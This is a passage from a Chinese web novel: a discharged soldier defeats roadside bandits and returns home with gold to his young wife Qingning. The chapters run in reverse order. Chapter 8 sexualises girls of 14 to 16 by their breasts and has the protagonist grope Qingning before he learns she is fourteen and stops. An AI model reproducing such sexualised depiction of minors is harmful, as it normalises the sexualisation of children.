就在胖子准备上前打青柠时,身后突然传来了一声颇具调侃意味的声音,他皱眉眯眼,骂骂咧咧的扭头望去:“直娘贼,是哪个破落……” 当看清身后的来人时,他愣住了,话卡在喉咙里说不出来。 或者说,不敢说出来。 来人是南边召陵县的陈啸,绰号“下山虎”,跟他这种市井泼皮不同,对方是拦路绑票、打家劫舍的熟手,是真正的江湖中人。在颍川府的道上混饭吃,咸有不认识他们的。 解二连忙换上一副笑脸,殷勤的小跑到陈啸和他的一众弟兄们面前,解二有些疑惑的看一了眼那些人头上的黄布后,恭敬的问道: “什么风把陈大哥您吹来了?哥哥们的头上怎么都缠着黄巾啊?这打扮还真新奇~” 那些后面的汉子们听到解二这样说,皆是嘴角一抽。陈啸更是隐晦的瞥了一眼凌晨,而后露出一副残忍的笑容,搂住了解二的肩膀。 “来,你跟我来,我告诉你是什么风把我吹来的。” 说罢,他便捏着有些茫然的解二转身往街旁的巷子里走去,那些面孔陌生的汉子们也齐齐上前,把那几个泼皮无赖都架起来,一言不发的扯着他们也往巷子里走去。 其中一个汉子还偷偷瞄了一眼凌晨,见对方朝自己露出一个笑容后,连忙点头哈腰的陪笑了一下,有些后怕的摸着额头上的黄布,匆匆跟进巷子里去了。 过了一会,只有这些泼皮们出来,那帮陌生汉子已经没影了。 解二的脸色有些苍白,貌似还不小心摔了一跤,脸上青一块紫一块,走路也有点一瘸一拐。 “那个……凌将…凌公子,其实刚才小人是开玩笑的,小人们是听说了公子今日动修新宅,所以特地从别处赶来帮忙的。” 第8章 哪个是我媳妇? 在村口找路人询问青柠住在哪就已经很离谱了,到门前发现竟然还是上了锁的。得亏隔壁一个白碎花蓝底裙的大婶嗑着瓜子问自己干嘛,他才知道青柠和邻里的女孩们一起结伴来溪边浣衣了。 于是他又一路寻了过来。 土路下面的小溪边,蹲着七八个年轻女子,她们全都背对自己,挥舞着手中的棒子敲击石头上的湿衣。有的穿红有的穿绿,个个头戴布巾,说说闹闹,莺歌燕语,玩心起了还会互相拨水泼笑,天真烂漫的气息让人不禁心旷神怡。 但是…… 哪个是我媳妇啊?? 这真怨不得凌晨,他跟青柠只见过一面,而且还是在四个月前!这谁还能记得起来啊?! 眼前这帮小姑娘几乎都是十四五六的年纪,看着都一般大。而且个个都是健康的小麦色,认肤色也行不通…… 哎,有了! 他依稀记得,青柠身形比较瘦弱,那么,这帮女孩里馒头最小的那个,应该就八九不离十了…… 正当他在花丛里寻找自己的老婆时,那帮女孩们也发现了他,她们互相提醒彼此,伸手指向坡上路边的凌晨,小声的说着什么。 青柠也被女伴拍了一下胳膊,顺着她手指的方向疑惑的扭头望去。跟凌晨不同,她一眼就认出了那是自己的相公。 因为凌晨身高一米八,在平均一米六五的大周百姓中很容易分辨出来,再加上他的肤色和庄稼人的黄棕色完全不一样,阳光下透着白亮,一点也不像是干农活的。 凌晨凭借独特的方法,再结合模糊的记忆,终于认出了青柠,他高兴的挥舞起手臂对着她喊道:“青柠——” 女孩们顿时捂嘴哄笑起来,齐齐推搡着调笑有些难为情的青柠。青柠两颊滚烫,羞怯的看了一眼周围的同伴们,只觉得无地自容,连忙将木棒和湿衣都丢进藤篮里挎在右小臂上,提起绿萝褶裙,踩着小路急匆匆的走上坡来。 来到凌晨面前后,她看了一眼还在得意洋洋的凌晨,低声说了句“回家”后,就低下头脚步匆匆的往家里赶去。 凌晨连忙扯着缰绳边追边喊道:“哎,你等等我啊!” 一路上,不断有街坊邻居们投来好奇的目光,青柠他们都认识,但她后面的那名男子是从哪冒出来的? 哎呦~他牵的那匹马真高大啊!拉去犁地一定很合适吧? 哎不对,我的天!马脖子上还有把刀,是行伍之人。刘家大朗吗?不像啊……那小子个子没这么高呀…… 一路跑到家门口后,青柠从腰间的旧荷包里掏出钥匙,“咔哒”一下解开门锁后,见到巷子里没有什么人后,这才有些局促的站在门边,抬起头偷偷打量凌晨。 人高,马大。体型修长,肤色如玉;黑衣如墨,不坠半吊,却不见文弱之气;脸上棱角分明,浓眉刚毅,虽然在笑,却总是能让人感觉到一股若有若无的冷意。 他还是和成亲那天一模一样。 门头有点矮,凌晨费力的扯着缰绳将马头按下,才把这祖宗拉进小院里。马匹是大周的管制动物,一般是不允许平民私人骑乘和圈养的。但这是文若默许让凌晨骑走的,谁会吃饱了撑的跑去问少将军流程对不对? “家里……没有畜棚。” 青柠望着眼前的骏马,心中既欢喜又忐忑,刚结完婚就消失的丈夫突然回来了,还开着兰博基尼,换作谁都会很开心。但这个时候,她又有点担心凌晨会不会始乱终弃、另寻他欢了。 毕竟自身的情况她也清楚,孤身一人,家中清贫,确实有点配不上现在的凌晨。如果他真的变了心,她也没有什么娘家人撑腰。 就在青柠思绪万千、有些患得患失的走神之际,突然感觉身体失去平衡,她这才猛然发现,自己竟然双脚离地了! 凌晨一只手穿过藕臂搂住青柠的蝶背,低下身子用另一只手勾住她的双腿膝弯,一把将她抱了起来! 青柠又惊又羞,连忙推着凌晨的胸口说道:“你做什么?快……快放我下来!当心被人……啊——!” 下一刻,青柠只感觉天旋地转,这家伙竟然抱着自己在院子里旋转了起来!她害怕极了,闭紧着双眼,下意识的搂紧了凌晨的脖子。这是一种从未体验过的感觉,紧张、害羞、刺激、恐惧等各种各样的情绪充斥在心头,甚至还有一丝欣喜…… 和女孩拉近感情最好的方法就是让她体验一把旋转木马,当她飞起来的时候,除了抱紧你苦苦哀求外,还能干嘛? 当然,前提是妹子不重,或者你的力气足够大,不然要是真的把人家飞出去了,你最好付的起医药费,也不要乱寄律师函。 等凌晨转累了,自己都感觉有些晕眩后,这才把青柠重新放回地面。她身形摇晃,跟醉酒一般紧紧抱着凌晨的腰不敢撒手,凌晨也搂着怀里的人儿,贪婪的嗅着从发丝上传来的淡淡幽香。 “哎呦喂~” 门外突然传来一道阴阳怪气的人声,青柠急忙松开凌晨的腰,眨巴着眼睛努力适应着还有些摇晃的地面。凌晨脸色不喜的扭头看去,正是先前站在巷子里嗑瓜子的那个大婶,此刻正一脸怪笑的立在门口,贼兮兮的望着他们。 “二婶……” 见到青柠害羞的喊她,那老鸡婆摆着手笑道:“本来是想看看你家谁回来了,现在我明白了,不打扰你们小两口,呵呵呵~~” 说罢,她便心满意足的扭着水桶腰,嘴里咬着瓜子呵呵笑着离开了。 青柠连忙羞恼的跑到门口,将木门关上后插上闩子,这才转过身来,背着手扶住木门,嗔怨的看向凌晨:“都怪你!” 阳光撒在凹凸不平的土墙上,将茅草顶的影子映在墙面,发白的木窗框前晒着已经脱水的杏脯。竹子交织绑固的篱笆园里,香菜、青菜、萝卜长势正好,大葱白绿分明,笔直的插在土里。 院子的另一边种着从野外移栽过来的红蓝花卉,战马立在墙边,慵懒的甩着尾鬃驱赶蝇氓。房门口还挂着麦秆编织的草帽和草鞋,被麻绳串在一起吊在屋檐下随风微晃。 本就不宽的屋内,放着一台动辄就“吱吱”作响的缫车,上面满是白色的丝线,一旁还有捆成一团的线球放在竹簸箕里。 “那个是我用两袋粮食找东头的宋叔换的,可以用它把刘员外家的蚕丝纺成线,再送还他们,一尺能得4个钱呢~” 青柠坐在炕边,两只脚微微摇摆,有些小得意的向凌晨介绍道。 凌晨试着摇了摇,发现这辆缫车已经很老旧了,连接处也非常塞涩,有些细点的部件都快磨断了…… 他心下微沉,不着痕迹的向青柠问道:“那你到现在挣了多少?” “嗯……我每天要忙着去地里,只有晚上能腾出一点时间,所以挣得不多,现在才攒了一百六十……三个。” 凌晨走到炕边挨着青柠坐下,对方平静的望着他的脸。自从刚才两人抱过之后,她就不那么躲着凌晨了,相处起来也自然了很多,估计是想起了眼前这人是自己的合法相公。 “你呢?你在军营里过的还好吗?累不累?有没有受欺负?嗯……你有没有上战扬?” 凌晨望着青柠清澈的双眼笑道:“刚开始挺累的,我这辈子都没干过那么多的活。不过后来就慢慢变好了,我救了节度使大人,他给我安排了很清闲的活,每天去营帐前站两个时辰,然后一整天就没事干了,我就躺在军营里呼呼大睡。” 青柠歪着头,有些天真的问道:“节度使是什么大人啊?跟知县老爷比谁的官大?” 呃…… 凌晨用手在空气中比划了两下,耐心的解释道:“知县上面是郡守,郡守上面是知府,有些地方知府上面还有府尹,节度使大概跟府尹差不多吧,这是个临时的职务,和官府的职位不是一个体系的。” 青柠听完后愣了一会,还是瘪着嘴角摇了摇头。 凌晨说的太飘渺了,她只知道知县大人就是老百姓的天,是她从出生起到现在听说过的最大的官了。 “你说的那个节度使大人没有家丁吗?怎么还要你去救他啊?刘员外出门就一直带着家丁,这样就不怕有人对他有歪心思了。” “有,几百上千人呢!这事说来话长,总之就是……他的‘家丁’跟仇家打架,让他先跑,结果又被人家给追上了,刚好在这个时候遇到了我,我就顺手救了他。” 青柠将身子微微往远处斜了一点,上下打量着凌晨,满脸的不相信。 几百上千人都没办法的事,你一个人…… “哎,不说这些,我给你看个东西。”凌晨也懒得跟青柠解释自己到底有多牛逼,说的再怎么天花乱坠,也不如眼见为实。 他将放在一旁的包裹双手提了过来,放在两人中间,里面传来了石块摩擦撞击的声音。打开布结后,露出了黄灿灿、白花花的金银来。 青柠怔怔的看着炕上的一堆金银,樱嘴微张,桃眼轻瞪,身子一动不动的僵在原地。 她现在大概能感受到“节度使”是多大的官了。 凌晨当初以为望云镇就是个大点的村子,是因为他只在外围郊区活动过,青柠的家也在这里。 所以当他看到镇中心的二层木楼和砖瓦房屋后,还是有些小小的震惊。 青柠魂不守舍的不停小声催促着要回去,她生怕藏在房梁上的金银会被别人偷走。而且吃饭而已,自己做就行了,家里那么多菜,干嘛还要出来买啊! 凌晨却没有听她的,带着她来到镇子里的大街上,称了一条猪肉,半根羊腿,还有一尾鱼;又走进裁缝铺,扯了一些花花绿绿的布匹,还预定了棉被和绣花枕头;在街上的货郎摊前,凌晨拉着拼命摇头的青柠,给她试了试据说是从府城担来的胭脂。 等到他们俩提着大大小小的盒子、包袱回到家里时,圆月已经悄悄挂在了柳梢头。 凌晨躺在炕上,累的一点也不想动弹,果然还是不行吗?逛街这种事和在泥堆里拉大车一样费命啊! 青柠也累的不轻,不过她只在凌晨身边躺了一会的功夫,便拖着疲惫的身子翻了起来:“天都黑了,我给你做点吃的吧~” 谁知,她才从炕上翻起来,就突然被凌晨拉住左手,一股大力将她一扯,一个不稳直接扑倒在了他的身上。 “啊!” 两个人的距离太近了,近到能感受到对方的呼吸。屋子里安静异常,彼此都能听见对方的心跳。 凌晨的左手将她的腰肢紧紧搂住,右手在她的后背上游走,轻轻抚摸着蝶骨细肩,突然方向一变,缓缓向下而去,捏住了挺翘的软臀。 青柠趴在凌晨身上,双手握成拳形,刚想要不好意思的挣扎,转念间又想起了什么,于是羞涩的将脸埋在凌晨的胸口,一言不发了。 嘶,不对。 “你今年多大?” 听到凌晨突然开口询问,青柠埋在他的胸口,声若细蚊的回答道:“十……十四……” 那双羞人的大手突然离开了原本的位置,转而轻轻抚摸起了自己的脑袋。青柠突然没来由的生出一股莫名的心慌,沉默了片刻后,她轻声问道:“怎……怎么了?” “没事,别做饭了,不是买了槐花糕和桃干嘛~一会吃点就行了,你累了一天,就别折腾了。” “嗯……” 感受着凌晨温暖的胸膛,和轻柔的抚摸。青柠不知道从哪里生出来的一股勇气,张开胳膊主动抱住了他的身子。 从今往后,再也不要分开。 窗外的树梢上,圆月正明,银霜洒落大地,飘落在千家屋顶、万户院庭。难得如此良夜,枝头栖鹊。 西窗边,画烛共剪, 好风,好月,好时节。 第7章 归心似箭 “不管怎么说,你两次救了父亲的性命,汝南文家欠你一个人情。往后如果有事,可以随时来找我,我一定尽全力帮你办。” 说罢,他便举起酒杯一饮而尽。 凌晨笑了一下,也端起手中的酒杯喝了下去,才刚放下,文若又拿起酒壶给他斟满。 “我虽然不敢说见过天下英雄,但自诩还是有点见识的,你能不能告诉我,你是怎么做到一个人杀了四十七个贼人还毫发无伤的?” 凌晨闻言一愣,这我特么怎么跟你解释? “不过是趁着夜黑风高偷袭罢了,浑水摸鱼的下三滥手段,上不得台面。跟你那种光明正大的战阵厮杀没法比。” 文若脸色认真的摇着头说道:“战扬之上,没有‘光明正大’之说,活着才是王道。无论用了什么方法,赢就是赢,输就是输。” 听了这话,凌晨不禁对眼前这小子有些刮目相看了。这货贵族出身却平易近人。读的书多,杀的人也多。做人讲究,做事却不死板,还能有这么务实的思想认识,假以时日,前途不可限量啊! “你回乡后作何打算?”文若用筷子捞起一根青菜丢进嘴里,边嚼边问。 凌晨抿了一口杯中的酒,端着杯子思忖着回答道:“还没想好,不过眼下也有点积蓄了,我准备先把家里的房子翻修一下,再买点鸡鸭鹅狗之类的养养,嗯……目前就这些,其他的回去了再看吧。” 文若愣住了:“就……就这?” “不然呢?” 文若突然贼希希的朝着四周望了望,脑袋凑到凌晨面前,悄声说道:“弟妹一定是倾城容貌吧?竟能让你甘心放弃大好前程回家守着她,真是伉俪情深,叫我好生羡慕。” “屁,她长的黑黑瘦瘦……哎,去去去!你没媳妇啊?打听我媳妇干什么?!” “哈哈哈哈~” 愉快的吃完散伙饭后,文若和凌晨各自骑上一匹马,立在了大军行走的道路旁边。 “行了,就送到这吧。” “嗯!千里送君,终须一别。你我同袍之谊、救命之恩,自当谨记于心。这一百两金锭是父亲嘱托我一定要送到你手上的,聊表寸心,莫要嫌少。” 凌晨望着军士端过来的一盘金子,笑着对文若说道:“这么重你想累死我啊?我拿两锭就行了,剩下的你留着自己用,别告诉大人就行了。” 文若一听就急了,连忙说道:“这如何使得……” “哎哎哎,”凌晨霸气的挥手打断他:“你就听我的吧!心意我领了,回去后记得告诉大人,凌晨永远不会忘记他的提携之恩。” 说罢,他在马上郑重的朝着文若抱拳行礼,尔后调转马头,朝着西北方向纵马驰奔而去。 文若却没有立刻走掉,而是留在原地望着凌晨的背影,怔怔出神。 一旁的长随见凌晨已经走远了,忍不住打马上前,小声提醒道:“公子……” 文若回过神来,看向少了两块的金锭盘子,喃喃道:“财帛不能动其心,厚恩不能改其行。不忘糟糠之妻,谨记来时之路,武艺高强、性情率真。这样的人不能为我所用,真是令人生憾……” 长随听罢后,试探着说道:“既然老爷和公子俱有此意,只需将其妻室邀至府中,令她陪伴夫人左右,不愁他……” “不可!” 长随的话还没说完,文若就用十分严厉的语气打断了他的建议,一改刚才的儒雅随和,身边的长随瞬间感觉到一阵冷冽的劲风朝着自己吹来! “小人多嘴!” 文若盯着他看了半天后,这才放缓了声调说道:“我若馨香,蜂蝶自会聚来。只可以诚待之致其归心,万万不可耍使手段。你别忘了,他可是独自一人杀了几十号人的!我们现在和他是朋友,往后即使陌路殊途,总还有一份情谊在。若真按你说的做了,怕是家里该添护院了。” “还是公子思虑周全。” —— 燕尔别,犹记鬓边约。慢摇缫车,忽闻柴门传人语,出看无,缘是心中结。步过渔蓬,停驻孤桥望日斜。 踏征靴,长刀总饮血。奋舞金戈,临江饮马靖塞边,狼烟散,转向恩府别。归心似箭,一夜飞度关山月。 寿春府到颍川府的距离不是很远,不用推先锋营里那些该死的破车后,骑马还是很快的。就是两个大腿内侧受尽了苦头,还得防着鸡飞蛋打,大周后勤组织部做出来的马鞍实在是一言难尽。 虽然舟车劳顿躲不过,但凌晨的心情是十分舒畅的,他终于拿到了大周绿卡!如今也是有名分的牛马了,还攒了点小钱,他已经能想象到自己把一包袱的金银丢出来后,青柠那吃惊的小表情了~ 哎?前面怎么了? “吁~~” 凌晨扯着缰绳将马儿勒住,望着眼前的扬景,露出一副呆萌的表情。 官道中间被人横着丢了一截粗壮的断木,两边的树林里走出来五六个提着斧子和柴刀的人。 这帮人虎背熊腰,就穿着件单薄褂子,有的甚至直接光着膀子,个个肌肉发达,面目狰狞、胡须倒竖、胸毛浓密。 听到身后传来声响,凌晨扭头望去,身后也不知什么时候多出了三个手提刀斧的汉子。 有点意思…… 凌晨心下了然,面上淡淡一笑,看向站在最前方的那名高大汉子:“几位这是何意?” 那汉子脑袋很长,脖子粗壮,身上就套着一件有点发脏的白麻褂子,浑身的皮肤棕黑,胳膊上的肌肉很明显,腹部微微凸出,脚踩草鞋,手提利斧,表情十分凶狠。 “呦~这小白脸有点意思啊~旁人见了咱们弟兄,不是哆哆嗦嗦跪下来求活,就是跟没头苍蝇一样乱窜,他还敢张口问!” “哈哈哈哈~” 周围的汉子们都哈哈大笑了起来。 凌晨笑着吸了一口气后,语气平静的问道:“行了,说吧,想干什么?” 高大汉子抡了抡手中的斧子,贪婪的打量着凌晨背上的包裹和胯下的骏马:“看你的样子,应该也是个见过世面的,那就利索点别让我们弟兄费事。东西都留下,马也留下,乖乖磕三个响头,老子就让你滚!” 他话说完,还不等凌晨开口,一旁的其他汉子就都叽叽喳喳的齐齐嚷了起来—— “快点!听到没?” “把银钱都拿出来!” “还不滚下来?!若是惹的爷爷性起……” “怎样?” 凌晨抬起下巴看向旁边那个放狠话的汉子,饶有兴趣的问道:“惹的你性起了会怎样?” 那汉子见凌晨全然不惧,顿时有些心里没底,茫然的看向自己的老大。 领头的高大汉子见状,知道凌晨是不打算乖乖听话了,于是冷笑一声,举起双臂一挥,其他人纷纷朝着凌晨围拢了过来。 马上的凌晨慵懒的伸了个懒腰,翻身下马,对着那高大汉子诡异一笑,突然就撒开腿跑进了道路一旁的灌木丛里去了。 “追!!” 到嘴的鸭子还能让他飞了?这帮劫匪们急忙提着武器,嗷嗷叫着冲进了满是灌木的树林里,顿时惊起一片林中鸟。 “啊!!” “呃!!” “老三,你他娘人呢?你……啊!!” 凌晨压根就没拿马背上的刀,直接在林子里找了块板砖大小的不规则石块,隐身藏在树干后面,瞅着机会,给这帮傻愣愣的山贼挨个来了一套头骨硬度等级测试,轻轻敲醒了他们沉睡的心灵。 你别说,这种“梆梆梆”的感觉还真让人上头哎! 那高大汉子并没有一起追来,而是提着斧头走到凌晨丢下的马儿旁,准备察看一下包裹里都有什么。 他根本不担心凌晨能从他的手下围堵中逃脱,他们全都是附近村庄的人,对这一带熟的不能再熟了,这要是还能让一个外地人跑了,那他们基本可以转行了。 嘶……这是…… 汉子皱着眉从马脖子上取下一柄长刀来,将斧子别到腰间后,双手握住,将刀抽了出来。 光滑透亮的刀面闪烁着冰冷的寒光,刀刃平整锋利,刀背宽厚,足有一指,还有血槽。握把被某种动物的皮整齐牢固的编织包裹以增加摩擦力,这是精铁打造的! “哎,你看够没?” 身后突然传来一道漫不经心的声音,把汉子吓得肩膀一颤,他抚着心脏的位置刚要转身怒骂,结果对上了凌晨有些不太高兴的脸。 汉子心头又是一惊,瞳孔猛然放大,急忙扭头看向一旁—— 怎么回事?他的弟兄们竟然全都昏倒在了地上,整整齐齐的排列在树林边!而且还个个脑袋带血,粘稠的血液将他们的头发都粘成了一团…… 汉子有些腿软,他还是有些不太相信,哆哆嗦嗦的看向凌晨的右手,满手都是鲜红的血迹…… 这……这…… 还没等他理清楚现在是什么情况,该反抗一下还是该跪地求饶,眼前的少年就将脏乎乎的血手搭在了他的褂子上,擦拭着上面的污血。汉子身体僵硬,一动也不敢动,虽然他很想一刀劈过去,但脑海里总有一道声音在警告他——千万别那样做。 “这是江淮节度使的公子送给我的,怎么样,刀还不错吧?” 眼前的少年就这么云淡风轻的跟自己介绍着刀的来历,松弛的就像老友闲谈一般。高大汉子此刻内心后悔的要死,完犊子!踢到铁板了! 等等,江……江淮节度使的公子送的?! “噗通!” 他毫不犹豫的跪了下来,双手将刀恭恭敬敬的举过头顶,身体和声音齐颤着说道:“小人有眼不识泰山!被猪油蒙了心,一时冲撞了公子,罪该万死!求公子……” “哎哎哎,”凌晨立刻打断他纠正道: “我不是什么世家公子,我刚从军中光荣退伍,以前是干百夫长的,就是个芝麻大的小官~” 直娘贼!百夫长?! 完了!! 这人竟然是个百夫长!难怪自己的那帮弟兄跟小鸡一样……哎不对啊!能做到百夫长的哪个不是满脸横肉、身体雄壮、脾气暴躁?他这么……也不对!现在是寻思这些的时候吗?! 自己那帮生死不明的兄弟确确实实就躺在那里,脑袋血刺啦呼的这还能有假?总不能是他们集体和这小子串通好,在跟老子耍笑吧?! 凌晨见他一句话也不说,就低着个头等着正义的铁拳挥下,顿时便没了兴趣,从对方手里拿回自己的刀合进刀鞘后,蹲下来望着高大汉子问道:“身上有钱吗?” ? 高大汉子茫然的抬起头,有些不明所以,他问这个干什么? “有……有一些,公……大……将军来之前,小人们还劫了两队过往旅人,不敢隐瞒!” 下一刻,一双肤色白净、掌心却有老茧的手伸到了他的眼前,还曲了两下—— “给钱。” “啊???” “啊什么啊!你的那些不义之财和非法所得你还想留着啊?” 土匪头领最终还是选择了乖乖听话,命跟钱,总要给人家留一个。留得青山在,不怕没柴烧。 那年轻人也讲究,拿了钱就心满意足的骑上马走了。只越货,不杀人,也没有跟他说什么以后要安分守己、不要再出来抢劫之类的陈词滥调,是个利索人。 只是有一点土匪头子不太明白,对方说他是什么FBI,哎夫比哎是个什么玩意?听他话里的意思,似乎有点像是捕快之类的…… 告别郁闷的土匪头子,重新上路的凌晨心情更好了!凭空多出7两3角野生的银子,自己简直是锦鲤附体啊! 一两金子能换一千两银子,一两银子能换一千枚铜钱。文若送了两锭金子,工资攒了82两,退伍费10两,再加上…… 嘶……咱也是摇身一变,成大周暴发户了! 不知道为什么,心里总有一种和青柠见面的期待感,他很好奇青柠看到这么多钱后会作何反应。 当初离开望云镇时,还是初春四月,清寒时节。如今征战归来,已是八月晚旬,山河渐秋。 凌晨立在马上,望着不远处那片土墙茅瓦,老人们放下农具坐在村口静沐暖阳,孩童们围绕着大树追逐嬉戏,一片丰年景象。他突然从心底生出一丝忐忑来。 须臾后,不禁自嘲一笑,怎么还整出近乡情怯了…… 第6章 时局 几个亲卫立在破院门口,握着长刀马朔,十分紧张的绷紧脸色,听着外面传来的激烈喊杀声,备受煎熬。 尽管在心里认定凌晨一个人不可能是外面几十个人的对手,但他们还是不由自主的生出一股希冀—— 万一呢? “嘀嗒~~” 一阵冰凉感从鼻尖传来,亲卫们不约而同的抬头向天上看去,阴云密布、伸手不见五指,周围密密麻麻的响起了雨点砸地的声音,空气中飘浮着一股尘土和水汽的味道,要下雨了。 太好了,天佑大人!如此一来,就不用怕这帮贼人用火焚烧院内了。 外面的喊杀声越来越小,渐渐稀疏下来,直到再也没有一丝声音传入耳中。 静。 太安静了,安静的让人心生恐惧。 “怎么没声了?” “将军……还活着吗??” 几人惊疑不定,却又不敢贸然出去查看,踌躇许久,终于有一人下定决心、咬牙说道:“你们保护好大人,我出去看看。” 说罢,他便抬脚来到门头下,扶着墙壁、踩着崎岖不平的石碾和断木,以及那些贼人的尸体,小心翼翼的眯起眼睛看向门外。 “轰隆——” 天地间猛然一亮,一道电光将漆黑的大地照的如同白昼,借着这一刹那的清明,他看到了一幅毕生难忘的画面—— 如针般的雨点密集落下,门前的斜坡横七竖八的躺着成堆的尸体,刀枪弓箭散落一地。扬上只站着一个活人,他看起来有些疲惫,手里提着刀,仰面望向天空,任由雨水冲刷在自己的身上,似乎在享受着这种洗礼。 “这……这……” 门内的亲卫们不明所以,只看到他扶着门框抖起了身子,不由的急躁起来—— “怎么了?” “将军被杀了吗?” “你倒是说话啊!” 他猛的回过头来,既兴奋又震惊,声音微颤的对袍泽们大喊道:“将……将军……把贼人全杀光了!!!” 什么?!! 听到这话,其他人自然是不信的,纷纷将信将疑的握着武器挤出门察看。这怎么可能?一个人再怎么武艺高强,也不可能…… 卧槽! 真死光了?!! —— 回营的路上,这几个久经战阵、见惯了沙扬横尸的亲卫们没有一个人敢和凌晨说话。尽管他们心中有着无数的疑惑和不解,但一想起刚才的扬面,就不由的后背发凉,一股寒意直冲天灵盖,实在无法鼓起勇气开口。 这就是节度使大人看重他的原因么? 其实他们一开始并没有多么尊敬凌晨,只当他是运气好,刚好救了陷于险地的上官,所以才飞黄腾达骑在他们头上。但现在亲身经历、亲眼所见后,他们才算是彻底服气了。 回到军营里,把还在说胡话的文训亲手交到他儿子手里后,凌晨就拖着疲惫的身躯回到自己的营帐里,脱了衣甲呼呼大睡。 他太累了,尽管在黑夜里隐身杀人很爽,但那也是需要费力气的,还得躲着点有些家伙的发疯劈砍。无伤刷掉那群贼人,耗尽了他的精气神,雨天野外作业就算了,还他娘的是夜班! 该休息了。 这一觉凌晨睡的很香甜,也没什么人来打扰他,等他被尿憋醒时,帐篷顶已经透亮了,看着好像已经中午了。 他揉着眼睛起身,习惯性的踩着青柠做的布鞋下了床,走到帐篷边上解开腰带,拉起垂襟就开闸放水。 呼~~这种一泻千里的感觉真痛快! 解完手后,心满意足的凌晨提起裤子,哼着小调转过身来,紧接着肩膀一颤,吓得差点腿软。 帐前的门帘被挤成一条布绳歪在中间,两侧挤满了睁大眼睛的脑袋,平日里一起当值的同袍们齐刷刷的盯着自己,那眼神……直勾勾、火辣辣的! 不是……校尉大人怎么也混在里面?? 凌晨不由的菊花一紧,心中发虚的问道:“你们干嘛?” 呃…… 亲卫营的最高统帅、校尉何关直起身子,拍着其他人的脑袋把他们赶走后,搓着手呵呵笑着,有些拘束的走了进来。 凌晨见他这个样子,心中十分纠结,这家伙不会有龙阳之好吧?如果他非要,自己给还是不给? “昨晚睡的如何?” “劳将军挂怀,睡的挺香,哎?今天不是我当值吧?将军怎么亲自来……” 何关伸出粗壮的手掌打断了凌晨的话:“哎~~从今往后,你不用再去当值了,除非大人有令,其他时间你就在营里歇着,需要什么尽管告知为兄,我叫那帮兔崽子去给你办!” 完了,这孙子不会真要潜规则老子吧! “这怎么行……” “如何使不得?老弟你两次救主,昨夜之事更是在营中传开了!说来惭愧,起初为兄还不信,以为是那几个兔崽子吓傻了胡诌的。直到少将军令我亲自去现扬察看,方知兄弟武艺绝伦、高深莫测。我虚长你几岁,拖大喊你一声老弟,你不会介意吧?” 啊这…… “岂敢岂敢,将军肯屈尊降贵,属下受宠若惊。”凌晨连忙谦虚的说道。 “嗯?”何关眉头一挑。 “大哥在上,请受小弟一拜!” “哎哎哎!使不得使不得!哈哈哈哈~~” 何关连忙扶住准备抱拳行礼的凌晨,开玩笑!今天早上少将军和节度使大人商议着要给凌晨升帐前行走的事还没传开,他就是趁着现在赶紧来结交,打个时间差。这小子现今只比自己低一级,更何况,他的功劳和能力有目共睹,以后怕是会飞得更高…… 能跟顶头上司称兄道弟,凌晨也是十分情愿的,虽然他不打算在军营里长干,但打好关系自己也乐得自在不是? 不过,最快拉近关系的办法,还得是求人办事,而且是对对方来说轻而易举的事。 “既然如此,小弟也确实有件琐事想要麻烦兄长,只是怕兄长军务繁忙……” 何关听了大手一挥,满不在乎的说道:“生分了嗷~尽管说来!” 凌晨脸色认真的说道:“小弟的岳丈和妻兄一年前以平民身份被征入伍,出自颍川府望云镇,拙荆姓刘,小名青柠。唉!她在家日思夜想,祈盼着父兄的消息。大哥久居军中,位高脉广,不知可否托人替小弟打探一番他们的下落?” 何关听后微微皱眉:“颍川府……” 凌晨在一旁看着他的脸小心翼翼的说道:“若是不方便,也不…” “不是,兄弟你误会了。”何关抬起头,对凌晨一本正经的说道: “若是在我江淮军中,将他们调来不过就是一顿酒的事。但颍川府征来的平民,未必都会发来这里,也有可能发往关中和晋阳,甚至……被调往燕云也不是没有可能。” 听完何关的话后,凌晨不禁皱起了眉头,如果真是这样的话,那他实在无能为力了。 何关似乎是看出来凌晨的忧虑,话锋一转,拍着凌晨的肩膀说道:“不过你也不必担忧,为兄先遣人去营中打听,若是他们在我们这儿,一定第一时间调来亲卫营。老弟你如今正被大人倚重,这种小事自然好说。” 何关的话让凌晨又燃起一丝希望,他言辞恳切的抱拳行礼道:“那就拜托大哥了!” “嗯。” 老文这人有点让人捉摸不透,自从凌晨把他送回来后,就再也没有见过他,反倒是他儿子文若期间提着酒肉亲自来凌晨的帐篷里看望过几次,态度很热情,跟上一次完全不一样。 上一次他应该是发自内心的感谢,不过也就点到为止了。但这一次,这小子恨不得不顾身份的和凌晨结拜,得亏凌晨脑袋清醒才制止了他荒唐的行为。他还强行霸占了凌晨的床,把他挤进里面,二人同榻而眠。 凌晨十分嫌弃,但又无可奈何。 不过在和这位军二代的朝夕相处中,凌晨也通过交谈了解到了很多无法从底层知道的事情。 大周所处的时期,在唐朝灭亡之后。 自从万国来朝的大唐灭亡之后,天下陷入了分崩离析的百年战乱之中。在经历了无数次的血腥洗牌后,盘踞在晋阳和河北两地的大周太祖励精图治、奋发向上,最终横扫群雄,一统中原!北方暂时迎来了久违的安宁。 但时局并非已经安定,江南地区还有以先唐正统自居的唐国、凭借天险固守东西两川的蜀国、经略朔方和河西走廊的夏国、以及荆南和岭南那些称臣不觐的地方势力。 除此之外,北方还有一团笼罩在中原上空、挥之不散的乌云——游牧民族。 而新的强敌也在悄然崛起,雪域高原上展翅高飞的雄鹰,正在用犀利的目光紧盯着温暖富庶的土地;东海一望无垠的波涛之上,绣着淡雅菊花的旗帜下面,是列满武士刀和藤牌的野心。 战火还在熊熊燃烧。 但这一切都跟凌晨没有关系,他自己有几斤几两还是能掂量清楚的。而且这扬被迫加入的战争已经进入尾声了,唐军跨过长江气势汹汹而来,却没能有战略性的建树,只好退回江东去了。 江淮军作为野战部队,战事结束后不会停留在边境,而是要回到原本的驻地。就在大军拔营而起准备北还时,凌晨终于再次见到了消失很久的文训。 这段日子里,何关派手下遍访江淮军营,并没有找到青柠的爹和哥哥,既然如此,凌晨也就没有继续待下去的必要了,于是他果断开口,向文训请辞。 文训听完后很意外,文若更是面露讶然之色。 “你应当知晓,你数次护卫有功,更兼心性纯良、身世清白,老夫是极为看重你的。眼下四海未靖,留在军中必定大有作为。老夫虽非天官,但向朝廷举荐、擢你为军将还是可以的。只要稍加雕琢,为国效力,他日莫说封妻荫子,就是名流丹青,也并非没有可能。” 面对文训苦口婆心的挽留,凌晨却是心意已决。 